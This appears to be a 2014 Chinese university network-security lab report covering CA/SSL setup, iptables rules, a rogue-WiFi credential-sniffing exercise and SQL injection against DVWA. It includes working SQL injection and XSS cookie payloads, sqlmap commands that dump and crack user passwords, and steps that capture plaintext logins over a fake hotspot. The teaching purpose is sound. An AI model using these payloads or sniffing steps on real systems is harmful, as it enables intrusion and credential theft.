中南大学 网络安全实验报告
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
CENTRAL SOUTH UNIVERSITY
网络安全实验报告
学生姓名
专业班级
学号
学院信息科学与工程学院
指导教师刘嫔
实验时间 2014年12月
实验一 CA证书与SSL连接
应用场景
在访问Web 站点时,如果没有较强的安全措施,用户访问的数据是可以使用网络工具
捕获并分析出来的。
在Web 站点的身份验证中,有一种基本身份验证,要求用户访问输入
用户名和密码时,是以明文形式发送密码的,蓄意破坏安全性的人可以使用协议分析程序破
译出用户名和密码。
那我们该如果避免呢?可利用SSL 通信协议,在Web 服务器上启用安
全通道以实现高安全性。
SSL 协议位于TCP/IP 协议与各种应用层协议之间,为数据通讯提供安全支持。
SSL 协
议可分为两层: SSL 记录协议(SSL Record Protocol):它建立在可靠的传输协议(如TCP)之上,为高层协议提供数据封装、压缩、加密等基本功能的支持。
SSL 握手协议(SSL Handshake Protocol):它建立在SSL 记录协议之上,用于在实际的数据传输开始前,通讯双方进行身份认证、协商加密算法、交换加密密钥等。
每一个Windows Server 2003 证书颁发
机构都有可供用户和管理员使用的网页。
实验目标
● 掌握在Windows Server 2003 下独立根CA 的安装和使用。
● 使用WEB 方式申请证书和安装证书。
● 建立SSL 网站。
● 分析SSL 网站的数据包特点。
实验拓扑
VM Client VM Server
实验环境
虚拟机:Windows Server 2003,Windows XP,Wireshark 抓包软件。
实验过程指导
任务一:windows server 2003 环境下独立根CA 的安装及使用
1、启动Windows Server 2003 和Windows XP,配置其IP,使其在同一局域网网段。
2、在Windows Server 2003 中,选择【开始】|【控制面板】|【添加和删除程序】,在弹出窗口中选择【添加和删除windows 组件】,在【组件】列表框中选择【证书服务】,再单击【下一步】按钮,如下图所示。
要求依次填入CA 所要求的信息,单击【下一步】按钮,如下图所示。
4、继续选择【证书数据库】、【数据库日志】和配置信息的安装、存放路径,如下图所示。
单击【下一步】按钮。
安装的时候,可能会弹出如下窗口,为了实验方便,已经把I386 文
件夹复制到C:\下,选择【浏览】,选择文件夹“C:\I386”,点【确定】,完成安装。
5、选择【开始】|【程序】|【管理工具】,可以找到【证书颁发机构】,说明CA 的安装已经
完成,如下图所示。
6、从同一局域网中的另外一台XP 开启IE 浏览器,输入http://windows2003 的IP/certsrv/, 选中【申请一个证书】,如下图所示,在弹出的页面中选择【web 浏览器证书】。
7、在弹出窗口中填写用户的身份信息,完成后进行【提交】。
此种情况下,IE 浏览器采用
默认的加密算法生成公钥对,私钥保存在本地计算机中,公钥和用户身份信息按照标准的格式发给CA 服务器,如图所示,单击【是】,进入下一步。
CA 服务器响应后,弹出证书申请
成功页面,如下图所示。
8、在根CA 所在的计算机上,选择【开始】|【程序】|【管理工具】|【证书颁发机构】,上
面申请的证书便会出现在窗口右边,选择证书单击右键,选择【所有任务】|【颁发】,进行
证书颁发,如下图所示。
证书颁发后将从【挂起的申请】文件夹转入【颁发的证书】文件夹
中,表示证书颁发完成。
面,选择【查看挂起的证书申请状态】,弹出的页面中选择一个已经提交的证书申请,如下
图所示。
选择安装此证书。
10、现在验证此CA 系统颁发的新证书是否可信,为此需要安装CA 系统的根证书,进入证书申请主页面,选择当前的CA 证书进行下载,并保存到合适路径,如下图所示。
导入向导,按照默认的配置完成证书的导入,导入成功后,单击【确定】按钮,之后完成。
任务二:基于Web 的SSL 连接设置
1、在XP 中,左下角【开始】,打开【Wireshark】,并点击开始抓包的按钮。
打开IE 浏览器,输入网址http://windows2003 的IP/?id=1(比如:http://192.168.1.130/?id=1),然后保存Wireshark的抓包结果1。
2、选择【开始】|【程序】|【管理工具】|【IIS(Internet 信息服务)管理器】,在弹出窗口右键单击【默认网站】,弹出的快捷菜单中选择【属性】选项,如下图所示。
3、在弹出窗口内选择【目录安全性】标签,单击【安全通信】中的【服务器证书】按钮,
如下图所示。
4、弹出【IIS 证书向导】窗口,选中【新建证书】复选项,一直单击【下一步】按钮,输入自定义的名称,如下图所示。
填写相应的信息后,单击【下一步】按钮。
5、弹出【请求文件摘要】窗口,确认后单击【下一步】按钮,接着单击【完成】按钮,完
成服务器端证书配置,如下图所示。
6、打开IE 浏览器(windows2003 中的),进入证书申请主界面,如下图所示。
7、在出现的网页中选择【高级证书申请】,如图所示,在出现的网页中单击第二个选项【base64 编码】。
打开刚才IIS 证书向导生成的请求文件,(默认路径C:\certreq.txt),复制并粘贴文件
内容到第一个文本框,如下图所示,单击【提交】按钮,转到完成提交后的页面。
8、回到首页,选择【查看挂起的证书申请状态】,弹出的页面中选择一个已经提交的证书申请,如下图所示。
选择【Base 64 编码】,点击【下载证书】,【保存】certnew.cer 文件到桌
面。
9、选择【开始】|【程序】|【管理工具】|【IIS(Internet 信息服务)管理器】,在弹出窗口右键单击【默认网站】,弹出的快捷菜单中选择【属性】选项,在弹出窗口内选择【目录安
全性】标签,选择【服务器证书】,选择【下一步】,【处理挂起的请求并安装证书】选择【下一步】,【浏览】选择刚才保存的certnew.cer 文件,如下图所示。
【下一步】【下一步】【完
成】。
10、还是在【目录安全性】下,选择【安全通信】下的【编辑】,在下如图所示的弹出窗口
中选中【要求安全通道(SSL)】复选项,并在【客户端证书】栏中选中【接受客户端证书】
复选项,再单击【确定】按钮。
返回【目录安全性】面板,单击【应用】按钮及【确定】按
钮,完成配置。
11、在XP 系统打开浏览器,输入服务器IP 地址,进入证书申请主页面,此时会显示错误
信息页面,要求采用https 的方式连接服务器,如图所示。
12、把http 改成https 继续访问,此时浏览器提示你要安装证书,安装完证书后,就可以正
常使用了。
13 、再次打开Wireshark ,并点击开始抓包的按钮。
打开IE 浏览器,输入网址
https://windows2003 的IP/?id=1(比如:https://192.168.1.130/?id=1),然后保存Wireshark 的抓
包结果2。
14、分析比较抓包结果1 和抓包结果2 中,对IP/?id=1 请求处理的差异。
实验截图
1、写出windows server 2003 下独立根CA 的配置及应用的过程,将重要的步骤截图并保存。
如上所示,重要的步骤截图已置于相应步骤下。
2、写出windows server 2003 下基于Web的SSL连接设置的过程,将重要的步骤截图并保存。
如上所示,重要的步骤截图已置于相应步骤下。
实验心得
通过此次实验,我学会了Wireshark抓包的基本使用方法,学到了很多课本上没有的新知识,并对课本上的概念有了实际的更深的认识。
通过Wireshark所抓到的未使用SSL 连接和使用SSL 连接的信息的对比,我对HTTPS有了一定的了解,对计算机网络通信中的数据传输安全有了大概的认识。
HTTPS(全称:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全为目标的HTTP通道,简单讲是HTTP的安全版。
即HTTP下加入SSL层,HTTPS的安全基础是SSL,因此加密的详细内容就需要SSL。
它是一个URI scheme(抽象标识符体系),句法类同http:体系。
用于安全的HTTP数据传输。
https:URL表明它使用了HTTP,但HTTPS存在不同于HTTP的默认端口及一个加密/身份验证层(在HTTP与TCP之间)。
这个系统的最初研发由网景公司(Netscape)
进行,并内置于其浏览器Netscape Navigator中,提供了身份验证与加密通讯方法。
现在它被广泛用于万维网上安全敏感的通讯,例如交易支付方面。
它的主要作用可以分为两种:一种是建立一个信息安全通道,来保证数据传输的安全;另一种就是确认网站的真实性,凡是使用了 https 的网站,都可以通过点击浏览器地址栏的锁头标志来查看网站认证之后的真实信息,也可以通过 CA 机构颁发的安全签章来查询。
Wireshark所抓到的未使用SSL 连接的http 信息,信息是明文传输,而使用SSL连接的https 则具有安全性的ssl加密传输协议,更加安全。
实验二配置和管理主机防火墙
应用场景
对于Internet 上的系统,不管是什么情况,首先我们要明确一点:网络是不安全的。
因此,虽然创建一个防火墙并不能保证系统100%安全,但却是绝对必要的。
和社会上其它任何事物一样,Internet 经常会受到一些无聊的或者别有用心的人的干扰,防火墙的目的就是将这类人挡在你的网络之外,同时使你仍然可以完成自己的工作。
那么构筑怎样的Linux 防火墙系统才算是足够安全呢?这是一个很难回答的问题,因为不同的应用环境对安全的要求不一样。
用一句比较恰当而且简单的话来回答这个问题:用户了解自己的Linux 系统和设置,并且可以很好地保护好自己的数据和机密文件的安全,这对于该计算机用户来说就可以称之为他的计算机有足够的安全性。
那么到底什么是防火墙呢?防火墙是一个或一组系统,它在网络之间执行访问控制策略。
实现防火墙的实际方式各不相同,但是在原则上,防火墙可以被认为是这样一对机制:一种机制是拦阻传输流通行,另一种机制是允许传输流通过。
一些防火墙偏重拦阻传输流的通行,而另一些防火墙则偏重允许传输流通过。
了解有关防火墙的最重要的概念可能就是它实现了一种访问控制策略。
一般来说,防火墙在配置上是防止来自“外部”世界未经授权的交互式登录的。
这大大有助于防止破坏者登录到你网络中的计算机上。
一些设计更为精巧的防火墙可以防止来自外部的传输流进入内部,但又允许内部的用户可以自由地与外部通信。
如果你切断防火墙的话,它可以保护你免受网络上任何类型的攻击。
防火墙的另一个非常重要的特性是可以提供一个单独的“拦阻点”,在“拦阻点”上设置安全和审计检查。
与计算机系统正受到某些人利用调制解调器拨入攻击的情况不同,防火墙可以发挥一种有效的“电话监听”和跟踪工具的作用。
防火墙提供了一种重要的记录和审计功能;它们经常可以向管理员提供一些情况概要,提供有关通过防火墙的传输流的类型和数量,以及有多少次试图闯入防火墙的企图等信息。
因此本实验将介绍如何配置linux 防火墙。
VM Client VM Server
实验目标
1. 掌握linux 下基本的iptables 知识
2. 学会配置iptables
VM Windows VM Linux
实验环境
虚拟机:linux,windowsXP;linux 主机用户名:root;密码:root
实验过程指导
一. Iptables 的规则表、链结构
1.规则表(iptables管理4个不同的规则表,其功能由独立的内核模块实现)
filter 表:包含三个链INPUT OUTPUT FORWARD
nat表:PREROUTING POSTROTING OUTPUT
mangle 表:PREROUTING POSTROUTING INPUT OUTPUT FORWARD
raw 表:OUTPUT PREROUTING
2.规则链
INPUT 链当收到访问防火墙本机的数据包(入站)时,应用此链中的规则
OUTPUT链当防火墙本机向外发送数据包(出站)时,应用此链中的规则
FORWARD链收到需要通过防火墙发送给其他地址的数据包,应用此链
PREROUTING链做路由选择之前,应用此链
POSTROUTING链对数据包做路由选择之后,应用此链中的规则
二. 数据包的匹配流程
1.规则表之间的优先级
raw mangle nat filter
2.规则链之间的优先级
入站数据流向:来自外界的数据包到达防火墙,首先PREROUTING规则链处理(是否被修改地址),之后会进行路由选择(判断该数据包应该发往何处),如果数据包的目标地址是防火墙本机,那么内核将其传递给INPUT 链进行处理,通过以后再交给上次的应用程序进行响应。
转发数据流向:来自外界的数据包到达防火墙后,首先被PREROUTING 规则链处理,之后进行路由选择,如果数据包的目标地址是其他外部地址,则内核将其传递给FPRWARD 链进行处理,然后再交给POSTROUTIING 规则链(是否修改数据包的地址等)进行处理。
出站数据流向:防火墙本身向外部地址发送数据包,首先被OUTPUT 规则链处理,之后进行路由选择,然后交给POSTROUTING 规则链(是否修改数据包的地址等)进行处理。
3.规则链内部各防火墙规则之间的优先顺序
依次按第1条规则、第2条规则、第3条规则……的顺序进行处理,找到一条能够匹配的数据包规则,则不再继续检查后面的规则(使用LOG记录日志的规则例外)。
如果找不到匹配规则,就按照规则链的默认策略进行处理。
三. 管理和设置iptables规则
Iptables 的基本语法格式选项名功能及特点
-A 在指定链的末尾添加(--append)一条
新规则
-D 删除(--delete)指定链中的某一条规
则,按规则序号或内容确定要删除的规
则
-I 在指定链中插入一条新规则,若未指定
插入位置,则默认在链的开头插入
-R 修改、替换指定链中的一条规则,按按
规则序号或内容确定要替换的规则
-L 列出指定链中所有的规则进行查看,若
未指定链名,则列出表中所有链的内容
-F 清空指定链中的所有规则,若未指定链
名,则清空表中所有链的内容
-X 删除表中用户自定义的规则链
-P 设置指定链的默认策略(大p)
-n 使用数字形式显示输出结果,如显示主
机的IP地址而不是主机名
-v 查看规则列表时显示详细的信息
-V 查看iptables命令工具的版本信息
-h 查看命令帮助信息
--line-numbers 查看规则列表时,同时显示规则在链中
的顺序号
-N 新建一条用户自定义的规则链
1. 查看规则表
# iptables -L INPUT --line-numbers //查看filter表中INPUT链中的所有规则,同时显示各条规则的顺序号
2. 删除、清空规则
# iptables -F //不指定表名时,默认情况filter表
3.设置规则链的默认策略
# iptables -t filter -P FORWARD DROP //将filter表中FORWARD规则的默认策略设为DROP # iptables -P OUTPUT ACCEPT //将filter表中OUTPUT规则的默认策略设为ACCEPT
四. 条件匹配
1.通用(general)条件匹配(直接使用,而不依赖于其他的条件匹配及其扩展)
协议匹配(允许使用的协议名包含在/etc/protocols文件中)
# iptables -AINPUT -p icmp–j REJECT //拒绝进入防火墙的所有icmp数据包
地址匹配
拒绝转发来自192.168.1.11主机的数据,允许转发来自192.168.0./24网段的数据
# iptables -A FORWARD -s 192.168.1.11 -j REJECT
2. 隐含(implicit)条件匹配(需要指定的协议匹配为前提,其对应的功能由iptables自动(隐含)的装载入内核),如果无匹配条件,默认为REJECT。
端口匹配
仅允许系统管理员从202.13.0.0/16网段使用SSH方式远程登录防火墙主机
# iptables -A INPUT -p tcp --dport 22 -s 202.13.0.0/16 -j ACCEPT
五. 在进行了上述规则讲解与熟悉之后,接下来的步骤进行防火墙规则配置与测试
禁止Windows主机ping防火墙linux主机,但是允许从防火墙上ping其他主机(允许接受ICMP回应数据)
1. 配置linux防火墙主机ip地址,如下图所示:
2.配置windows 主机ip地址,如下图所示:
3. 配置linux 主机防火墙规则,如下图所示:
4. 在此在windows 主机和linux 主机上进行相互ping 测试,测试结果如下图所示:
windows主机无法ping通linux防火墙主机,但是linux主机可以ping通windows主机。
实验截图
如上所示,重要的步骤截图已置于相应步骤下。
实验心得
1) 如何在linux 主机上配置防火墙规则以防止DDOS 高级?
答:默认的iptables规则是无法过滤DDOS攻击数据的,我们需要添加过滤规则实现iptables拥有抗DDOS的能力:
屏蔽 SYN_RECV 的连接
-A FORWARD -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -m limit --limit 1/sec -j ACCEPT 限制IP碎片,每秒钟只允许100个碎片,用来防止DoS攻击
-A FORWARD -f -m limit --limit 100/sec --limit-burst 100 -j ACCEPT
限制ping包每秒一个,10个后重新开始
-A FORWARD -p icmp -m limit --limit 1/sec --limit-burst 10 -j ACCEPT
限制ICMP包回应请求每秒一个
-A FORWARD -p icmp -m icmp --icmp-type 8 -m limit --limit 1/sec -j ACCEPT
此处自定义一个表
-A FORWARD -j RH-Firewall-1-INPUT
完全接受 loopback interface 的封包
-A RH-Firewall-1-INPUT -i lo -j ACCEPT
允许主机接受 ping
-A RH-Firewall-1-INPUT -p icmp -m icmp --icmp-type any -j ACCEPT
允许连线出去后对方主机回应进来的封包
-A RH-Firewall-1-INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
允许防火墙开启指定端口
-A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport port -j ACCEPT
限制SSH登陆
只允许在***.***.***.***上使用ssh远程登录,从其它计算机上禁止使用ssh
iptables -A INPUT -s ***.***.***.*** -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
2)linux 主机防火墙处理数据包的顺序是什么?
答:(1)当包到达端口时,对包报头进行语法分析。
大多数包过滤设备只检查IP、TCP、或UDP 报头中的字段。
(2)若一条规则阻止包传输或接收,则此包便不被允许。
(3)若一条规则允许包传输或接收,则此包便可以被继续处理。
(4)若包不满足任何一条规则,则此包便被阻塞。
实验三WIFI 钓鱼
步骤一共享WIFI
工具:电脑、WIN7 系统、无线网卡
步骤
1.开始菜单-->命令提示符(cmd)-->右键,以管理员身份运行
2.运行以下命令启用虚拟网卡
>netsh wlan set hostednetwork mode=allow ssid=(这里写无线网名字) key=(这里是密码)
3.网络共享中心-->更改高级适配器设置-->右键已连接到Internet 的网络连接-->属性-->切换到“共享”选项卡,选中其中的复选框,并选择允许其共享Internet 的网络连接,这里即我们的虚拟WIFI 网卡
4.开启无线网络,继续在命令提示符中运行以下命令:
>netsh wlan start hostednetwork
即可开启我们之前设置好的无线网络(相当于打开路由器的无线功能)
步骤二WIFI 钓鱼
工具:其他笔记本或手机、Wareshark
步骤
1.搜索到刚刚设置的WIFI,连接上(密码为刚刚设置的key:12345679)
2.在笔记本上打开wareshark,选择capture-->interfaces
3.选择Packets 最多的项,点击start 按钮
4.在手机或笔记本上打开中南大学邮箱网站:/,在主机上用wareshark 捕捉
http 的包
(这里大家可以自由实验,能监控到连接到该WIFI 的机器的所有包的情况)
5.在手机或笔记本上输入用户名和密码,点击登录
6.在主机上用wareshark 捕捉到刚刚post 提交的http 包,右键选择Follow tcp stream
7.可以看到刚刚提交的用户名和密码,且是未经过加密的
实验截图
如上所示,重要的步骤截图已置于相应步骤下。
实验心得
本次实验是在自己的笔记本上做的,实验也比较简单,所以做得比较快效果比较好。
通过本次实验,大致了解了WIFI钓鱼的操作过程,同时,也让自己有了警觉之心,要养成良好的WIFI 使用习惯。
手机会把使用过的WIFI热点都记录下来,如果WiFi开关处于打开状态,手机就会不断向周边进行搜寻,一旦遇到同名的热点就会自动进行连接,存在被钓鱼风险。
因此当我们进入公共区域后,尽量不要打开WIFI开关,或者把WiFi调成锁屏后不再自动连接,避免在自己不知
道的情况下连接上恶意WIFI。
实验四 SQL注入攻击
【实验目的】
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL 语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。
前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。
本次实验目的是了解sql注入的常见手段,要到两个工具:
①dvwa(Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。
包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
② sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL
注入漏洞。
【实验组网拓扑】
VM Client VM Server
【实验一:dvwa手动sql注入】
1、连接好虚拟机拓扑图,配置WindowsXP Client和Windows XP Server的IP使其在同一个局域网网段。
2、打开Server端的xampp,启动apache和mysql。
打开Client的浏览器,访问Server的IP/dvwa,如“192.168.1.32/dvwa”,登陆账户为admin,密码为password。
3、选择SQLInjection,点击右下角的ViewSource,查看PHP源代码。
4、正常测试,输入“1”,得到正常结果,如下所示。
5、当将输入变为“'”时,页面提示错误
“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversion fortherightsyntaxtousenear'''''atline1”,结果如图。
看到这个结果,可以知道,这个表单存在着注入漏洞。
6、尝试输入:“1’or 1=1–”注意“--”后面有空格!此时成功进行sql注入。
7、测试查询信息列数。
利用语句order by num。
这里输入" 1'order by 1 --" 结果页面正常显示,注意--后面有空格。
继续测试," 1'order by 2 --"," 1'order by 3 --",当输入3是,页面报错。
页面错误信息如下,Unknown column '3' in 'order clause',由此查询结果值为2列。
8、尝试注入“1' and 1=2 union select 1,2 --”,从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:“1' and 1=2 union select
user(),database() --”。
9、选择DVWA Security,将安全级别分别设置为中、高。
再运行上面的实验sql语句,结合右下角的ViewSource,分析三种等级的代码和sql注入效果有何区别。
在安全级别分别设置为低时,结合PHP源代码,考虑不采用“--”的情形下,完成sql注入,写出sql注入语句。
【实验二:sqlmap测试dvwa】
1、打开Server端的xampp,启动apache和mysql。
打开Client的浏览器,访问Server的IP/dvwa,如“169.254.180.158/dvwa”,登陆账户为admin,密码为password。
选择DVWA Security,将安全级别分别设置为低。
2、选择XSS reflected,输入“<scrip>alert(document.cookie)</script>”,获取登陆系统后的cookie值,截图保存cookie值。
3、使用sqlmap查找注入点,打开Client端的控制台窗口,转到目录“C:\Python27\sqlmap”,输入以下命令,注意!“169.254.180.158”表示Server的IP,“security=low; PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”表示上一步所获得的cookie值,请同学们按照实际环境填写相应的值!“sqlmap.py -u
"http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit"
--cookie="security=low; PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5"”。
依据以下信息,得到可能的注入点是id,数据库是mysql。
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[INFO] GET parameter 'id' is 'MySQL UNION query (NULL) -1 to 20 columns' injectable
4、输入“sqlmap.py -u
"http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit"
--cookie="security=low; PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5" --current-db”得到当前数据库名。
current database: 'dvwa'
5、输入“sqlmap.py -u
"http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit"
--cookie="security=low; PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5" --current-db --tables -Ddvwa”得到数据库所有表。
6、输入“sqlmap.py -u
"http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit"
--cookie="security=low; PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5" -T users --columns”得到user表的所有列。
7、输入“sqlmap.py -u
"http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit"
--cookie="security=low; PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5" -T users --dump”得到user表的所有列,在sqlmap询问时候破解密码时,选择是,sqlmap会使用自己的字典来破解密码,得到5个用户的密码。
此时就完成了利用sqlmap进行“拖库”的基本步骤。
实验截图
如上所示,重要的步骤截图已置于相应步骤下。
实验心得
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。
但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
此次的实验让我了解了SQL注入攻击的原理和过程,让我了解到了做这方面开发的时候需要注意的安全性问题,也意识到安全的重要性和数据库的一些欠缺,提高了自己在这方面的安全意识。
在实验的过程中遇到了很多困难,配置上的,环境上的,还有一些需要注意的小问题。
很高兴顺利完成了这次实验,期待下次能使用更高级的工具进行扫描和实施攻击,当然,以后的开发过程中也要特别注意这些脆弱点了。
欢迎您的下载,
资料仅供参考!
致力为企业和个人提供合同协议,策划案计划书,学习资料等等
打造全网一站式需求。